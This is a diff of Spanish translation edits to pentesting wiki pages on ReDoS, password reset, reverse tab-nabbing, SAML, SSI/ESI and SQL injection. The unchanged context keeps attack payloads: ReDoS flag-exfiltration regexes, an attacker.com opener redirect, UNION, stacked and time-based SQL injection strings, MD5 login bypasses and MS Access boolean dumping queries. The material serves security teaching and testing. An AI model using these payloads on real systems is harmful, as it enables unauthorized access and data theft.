 
@@ -26,14 +26,14 @@ Todos esos son vulnerables a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
 
 ### Exfiltración de Cadenas a través de ReDoS
 
-En un CTF (o programa de recompensas por errores) tal vez **controlas la Regex con la que se coincide una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (timeout o tiempo de procesamiento más largo)** si la **Regex coincidió** y **no si no coincidió**. De esta manera podrás **exfiltrar** la cadena **carácter por carácter**:
+En un CTF (o programa de recompensas por errores) tal vez **controlas la Regex con la que se coincide una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (tiempo de espera o tiempo de procesamiento más largo)** si la **Regex coincidió** y **no si no coincidió**. De esta manera podrás **exfiltrar** la cadena **carácter por carácter**:
 
 - En [**esta publicación**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla de ReDoS: `^(?=<flag>)((.*)*)*salt$`
 - Ejemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
 - En [**este informe**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
 - En [**este informe**](https://ctftime.org/writeup/25869) usó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
 
-### Controlando la Entrada y Regex de ReDoS
+### Control de Entrada y Regex en ReDoS
 
 Los siguientes son ejemplos de **ReDoS** donde **controlas** tanto la **entrada** como la **regex**:
 ```javascript
diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md
index d7e8e70e6..f7b82607f 100644
--- a/src/pentesting-web/reset-password.md
+++ b/src/pentesting-web/reset-password.md
@@ -126,12 +126,12 @@ uuid-insecurities.md
 - Usar GUID versión 4 para aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
 - **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
 
-## **Manipulación de Respuesta: Reemplazar Respuesta Mala por Buena**
+## **Manipulación de Respuesta: Reemplazar Respuesta Mala con Buena**
 
 - Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
 - **Pasos de Mitigación**:
 - Implementar verificaciones del lado del servidor para asegurar la integridad de la respuesta.
-- Usar canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
+- Usar canales de comunicación seguros como HTTPS para prevenir ataques de hombre en el medio.
 - **Referencia**:
 - [Error Crítico en Evento de Recompensa por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
 
@@ -145,7 +145,7 @@ uuid-insecurities.md
 
 - Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
 - **Pasos de Mitigación**:
-- Implementar limitación de tasa robusta y mecanismos de bloqueo de cuentas.
+- Implementar mecanismos robustos de limitación de tasa y bloqueo de cuentas.
 - Monitorear actividades sospechosas indicativas de ataques de fuerza bruta.
 
 ## **Intentar Usar Su Token**
diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md
index 0be33a8e7..f93aa0c37 100644
--- a/src/pentesting-web/reverse-tab-nabbing.md
+++ b/src/pentesting-web/reverse-tab-nabbing.md
@@ -7,9 +7,9 @@ Si la página no tiene **`rel="opener"` pero contiene `target="_blank"` y tampoc
 
 Una forma habitual de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se parezca a la original**, para que pueda **imitar** el **formulario** de **inicio de sesión** del sitio web original y solicitar credenciales al usuario.
 
-Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto window del sitio web original**, puede abusar de ello de otras maneras para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
+Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto window del sitio web original**, puede abusar de él de otras maneras para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
 
-# Visión general
+# Resumen
 
 ## Con enlace de regreso
 
@@ -63,7 +63,7 @@ En el escenario donde ocurre un acceso **cross-origin** (acceso entre diferentes
 - **`opener.closed`**: Esta propiedad se accede para determinar si una ventana ha sido cerrada, devolviendo un valor booleano.
 - **`opener.frames`**: Esta propiedad proporciona acceso a todos los elementos iframe dentro de la ventana actual.
 - **`opener.length`**: El número de elementos iframe presentes en la ventana actual es devuelto por esta propiedad.
-- **`opener.opener`**: Una referencia a la ventana que abrió la ventana actual se puede obtener a través de esta propiedad.
+- **`opener.opener`**: Se puede obtener una referencia a la ventana que abrió la ventana actual a través de esta propiedad.
 - **`opener.parent`**: Esta propiedad devuelve la ventana padre de la ventana actual.
 - **`opener.self`**: El acceso a la ventana actual se proporciona por esta propiedad.
 - **`opener.top`**: Esta propiedad devuelve la ventana del navegador más alta.
diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md
index 278ff681b..5fd6357ae 100644
--- a/src/pentesting-web/saml-attacks/README.md
+++ b/src/pentesting-web/saml-attacks/README.md
@@ -33,7 +33,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
 doc = REXML::Document.new doc.to_s
 puts "First child after round-trip: " + doc.root.elements[1].name
 ```
-Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la siguiente salida en su lugar:
+Ejecutar el programa contra REXML 3.2.4 o anterior resultaría en la siguiente salida en su lugar:
 ```
 First child in original doc: Y
 First child after round-trip: Z
@@ -53,14 +53,14 @@ Para más información sobre la vulnerabilidad y cómo abusar de ella:
 
 ## Ataques de Envoltura de Firma XML
 
-En **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a través de dos fases distintas: **validación de firma** y **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y aquellos verificados por el **módulo de verificación de firma**. Como resultado, mientras que la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante elude efectivamente la **protección de integridad** y la **autenticación de origen** de la Firma XML, lo que permite la **inyección de contenido arbitrario** sin detección.
+En **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a través de dos fases distintas: **validación de firma** y **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y aquellos verificados por el **módulo de verificación de firma**. Como resultado, mientras que la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante elude efectivamente la **protección de integridad** y la **autenticación de origen** de la Firma XML, lo que permite la **inyección de contenido arbitrario** sin ser detectado.
 
 Los siguientes ataques se basan en [**esta publicación de blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **y** [**este documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Así que revisa esos para más detalles.
 
 ### XSW #1
 
 - **Estrategia**: Se agrega un nuevo elemento raíz que contiene la firma.
-- **Implicación**: El validador puede confundirse entre el legítimo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
+- **Implicación**: El validador puede confundirse entre el "Response -> Assertion -> Subject" legítimo y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
 
@@ -73,7 +73,7 @@ Los siguientes ataques se basan en [**esta publicación de blog**](https://epi05
 
 ### XSW #3
 
-- **Estrategia**: Se crea una Assertion malvada al mismo nivel jerárquico que la assertion original.
+- **Estrategia**: Se elabora una Assertion malvada al mismo nivel jerárquico que la assertion original.
 - **Implicación**: Tiene la intención de confundir a la lógica empresarial para que use los datos maliciosos.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
@@ -193,7 +193,7 @@ La **Exclusión de Firma XML** observa el comportamiento de las implementaciones
 
 ### Herramienta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
 
-También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, **todos** los elementos de Firma son eliminados.
+También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos de Firma.
 
 Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la Firma no es requerida por el Servicio
 
@@ -262,7 +262,7 @@ Esto reveló que el parámetro `base` acepta una URL. Considerando esto, surgió
 
 [De esta investigación](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
 
-La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos donde la entrada se refleja, el script marca la página como vulnerable.
+La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para atacar la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
 ```python
 import requests
 import urllib3
diff --git a/src/pentesting-web/saml-attacks/saml-basics.md b/src/pentesting-web/saml-attacks/saml-basics.md
index 96767826f..27db0fb2b 100644
--- a/src/pentesting-web/saml-attacks/saml-basics.md
+++ b/src/pentesting-web/saml-attacks/saml-basics.md
@@ -1,15 +1,15 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-# Visión General de SAML
+# SAML Overview
 
 **Security Assertion Markup Language (SAML)** permite que los proveedores de identidad (IdP) se utilicen para enviar credenciales de autorización a los proveedores de servicios (SP), facilitando el inicio de sesión único (SSO). Este enfoque simplifica la gestión de múltiples inicios de sesión al permitir que un solo conjunto de credenciales se utilice en múltiples sitios web. Aprovecha XML para la comunicación estandarizada entre IdPs y SPs, vinculando la autenticación de la identidad del usuario con la autorización del servicio.
 
-## Comparación entre SAML y OAuth
+## Comparison between SAML and OAuth
 
 - **SAML** está diseñado para proporcionar a las empresas un mayor control sobre la seguridad del inicio de sesión SSO.
 - **OAuth** está diseñado para ser más amigable con dispositivos móviles, utiliza JSON y es un esfuerzo colaborativo de empresas como Google y Twitter.
 
-# Flujo de Autenticación SAML
+# SAML Authentication Flow
 
 **Para más detalles, consulta la publicación completa en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Este es un resumen:
 
@@ -20,15 +20,15 @@ El proceso de autenticación SAML implica varios pasos, como se ilustra en el es
 1. **Intento de Acceso a Recurso**: El usuario intenta acceder a un recurso protegido.
 2. **Generación de Solicitud SAML**: El SP no reconoce al usuario y genera una Solicitud SAML.
 3. **Redirección a IdP**: El usuario es redirigido al IdP, con la Solicitud SAML pasando a través del navegador del usuario.
-4. **IdP Recibe la Solicitud**: El IdP recibe la Solicitud SAML.
+4. **IdP Recibe Solicitud**: El IdP recibe la Solicitud SAML.
 5. **Autenticación en IdP**: El IdP autentica al usuario.
 6. **Validación del Usuario**: El IdP valida la legitimidad del usuario para acceder al recurso solicitado.
 7. **Creación de Respuesta SAML**: El IdP genera una Respuesta SAML que contiene las afirmaciones necesarias.
 8. **Redirección a la URL ACS del SP**: El usuario es redirigido a la URL del Servicio Consumidor de Afirmaciones (ACS) del SP.
-9. **Validación de la Respuesta SAML**: El ACS valida la Respuesta SAML.
+9. **Validación de Respuesta SAML**: El ACS valida la Respuesta SAML.
 10. **Acceso al Recurso Concedido**: Se concede acceso al recurso inicialmente solicitado.
 
-# Ejemplo de Solicitud SAML
+# SAML Request Example
 
 Considera el escenario en el que un usuario solicita acceso a un recurso seguro en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). El SP identifica la falta de autenticación y genera una Solicitud SAML:
 ```
diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
index c1519a11f..0558704ef 100644
--- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
+++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
@@ -1,25 +1,25 @@
-# Inclusión del Lado del Servidor/Inyección de Inclusión del Lado de la Frontera
+# Server Side Inclusion/Edge Side Inclusion Injection
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Información Básica sobre la Inclusión del Lado del Servidor
+## Server Side Inclusion Información Básica
 
-**(Introducción tomada de** [**documentos de Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
+**(Introducción tomada de** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
 
 SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
 Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
 
 `<!--#echo var="DATE_LOCAL" -->`
 
-Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor:
+Y, cuando se sirve la página, este fragmento será evaluado y reemplazado por su valor:
 
 `Tuesday, 15-Jan-2013 19:28:54 EST`
 
-La decisión de cuándo usar SSI y cuándo hacer que tu página sea completamente generada por algún programa, generalmente es una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.
+La decisión de cuándo usar SSI y cuándo hacer que tu página sea generada completamente por algún programa, generalmente depende de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.
 
 Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con la extensión&#x73;**`.shtml`, `.shtm` o `.stm`**, pero no es solo el caso.
 
-Una expresión típica de SSI tiene el siguiente formato:
+Una expresión SSI típica tiene el siguiente formato:
 ```
 <!--#directive param="value" -->
 ```
@@ -56,8 +56,8 @@ Una expresión típica de SSI tiene el siguiente formato:
 ```
 ## Inclusión del Lado del Edge
 
-Hay un problema **con la información en caché o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Esto es para lo que se utiliza **ESI**, para indicar utilizando etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\
-Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces, podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
+Hay un problema **con el almacenamiento en caché de información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\
+Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
 
 ### Detección de ESI
 
@@ -95,7 +95,7 @@ hell<!--esi-->o
 - **Vars**: Soporta la directiva `<esi:vars>`. Útil para eludir filtros XSS
 - **Cookie**: Las cookies del documento son accesibles para el motor ESI
 - **Encabezados de upstream requeridos**: Las aplicaciones de sustitución no procesarán las declaraciones ESI a menos que la aplicación de upstream proporcione los encabezados
-- **Lista blanca de hosts**: En este caso, las inclusiones ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts
+- **Lista blanca de hosts**: En este caso, los includes de ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts
 
 |         **Software**         | **Includes** | **Vars** | **Cookies** | **Encabezados de upstream requeridos** | **Lista blanca de hosts** |
 | :--------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :-----------------------: |
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index ce6f32696..f21180c45 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -5,7 +5,7 @@
 
 ## ¿Qué es la inyección SQL?
 
-Una **inyección SQL** es un fallo de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
+Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
 
 ## Detección de puntos de entrada
 
@@ -135,7 +135,7 @@ También, si tienes acceso a la salida de la consulta, podrías hacer que **impr
 
 {% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
 
-## Explotando Basado en Unión
+## Explotando Basado en Union
 
 ### Detectando el número de columnas
 
@@ -169,7 +169,7 @@ Selecciona más y más valores nulos hasta que la consulta sea correcta:
 1' UNION SELECT null,null-- - Not working
 1' UNION SELECT null,null,null-- - Worked
 ```
-_Se deben usar valores `null`, ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
+_Debes usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
 
 ### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
 
@@ -188,11 +188,11 @@ _Hay una forma diferente de descubrir estos datos en cada base de datos diferent
 
 ## Explotando Inyección Basada en Unión Oculta
 
-Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, significa la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
+Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, esto indica la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
 
 Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
 
-Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
+Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
 
 Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 
@@ -224,7 +224,7 @@ En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la
 ```
 ## Consultas Apiladas
 
-Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas posteriores se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
+Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
 
 **Oracle** no soporta **consultas apiladas.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE`
 
@@ -266,7 +266,7 @@ Lista para intentar eludir la funcionalidad de inicio de sesión:
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a accesos no autorizados.
+Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
 ```sql
 md5("ffifdyop", true) = 'or'6�]��!r,��b�
 sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
@@ -317,13 +317,13 @@ Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto mae
 
 Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
 
-La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero no significa que esto no haya funcionado).
+La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
 
 Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
 _Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
 
-### Comprobación basada en el tiempo de inserción de MySQL
+### MySQL Insert time based checking
 
 Agrega tantos `','',''` como consideres para salir de la declaración VALUES. Si se ejecuta un retraso, tienes una SQLInjection.
 ```sql
@@ -331,7 +331,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 ```
 ### ON DUPLICATE KEY UPDATE
 
-La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en una PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
+La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
 
 Ejemplo de Inyección de Payload:
 
@@ -401,11 +401,11 @@ Sin espacio (%20) - bypass utilizando alternativas de espacio en blanco
 ?id=1%0Aand%0A1=1%0A--
 ?id=1%A0and%A01=1%A0--
 ```
-Sin espacios en blanco - eludir usando comentarios
+No espacio en blanco - eludir usando comentarios
 ```sql
 ?id=1/*comment*/and/**/1=1/**/--
 ```
-No espacio en blanco - eludir usando paréntesis
+Sin espacios en blanco - eludir usando paréntesis
 ```sql
 ?id=(1)and(1)=(1)--
 ```
@@ -444,7 +444,7 @@ Básicamente, puedes usar la notación científica de maneras inesperadas para e
 ```
 ### Bypass Column Names Restriction
 
-Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** puedes simplemente hacer: `0 UNION SELECT * FROM flag`
+Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
 
 Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
 ```bash
diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md
index 2d24cbdd6..8f57c35a3 100644
--- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md
+++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md
@@ -29,7 +29,7 @@ Si esto no funciona, siempre podrías corregir la sintaxis de la consulta:
 
 No son compatibles.
 
-### LÍMITE
+### LIMIT
 
 El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de la consulta SELECT a las **primeras N filas de la tabla utilizando el operador `TOP`**. `TOP` acepta como argumento un entero, que representa el número de filas que se devolverán.
 ```sql
@@ -50,9 +50,9 @@ Por lo tanto, necesitas conocer un **nombre de tabla válido**.
 > [!WARNING]
 > Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
 
-**MS Access** permite **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como suele ser, la inyección SQL estará dentro de una cláusula **`WHERE`**, lo que podemos abusar.
+**MS Access** permite **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como suele ser, la inyección SQL estará dentro de una cláusula **`WHERE`**, por lo que podemos abusar de eso.
 
-Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o adivinaste) que un **nombre de columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de chaining equals y potencialmente exfiltrar contenido con una **inyección booleana** usando la función **`Mid`** para obtener subcadenas.
+Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o adivinaste) que un **nombre de columna es username**, y ese es el campo que deseas **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de chaining equals y potencialmente exfiltrar contenido con una **inyección booleana** usando la función **`Mid`** para obtener subcadenas.
 ```sql
 '=(Mid(username,1,3)='adm')='
 ```
@@ -72,7 +72,7 @@ También puedes usar una forma más tradicional:
 ```sql
 -1' AND (SELECT TOP 1 <table_name>)%00
 ```
-_Siéntete libre de verificar esto en el entorno de pruebas en línea._
+_Siéntase libre de verificar esto en el entorno en línea._
 
 - Nombres de tablas comunes de Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
 - Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
@@ -99,11 +99,11 @@ Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-
 ```sql
 IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
 ```
-En resumen, la consulta utiliza una declaración "if-then" para activar un "200 OK" en caso de éxito o un "500 Internal Error" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. Con ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Al cambiar adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
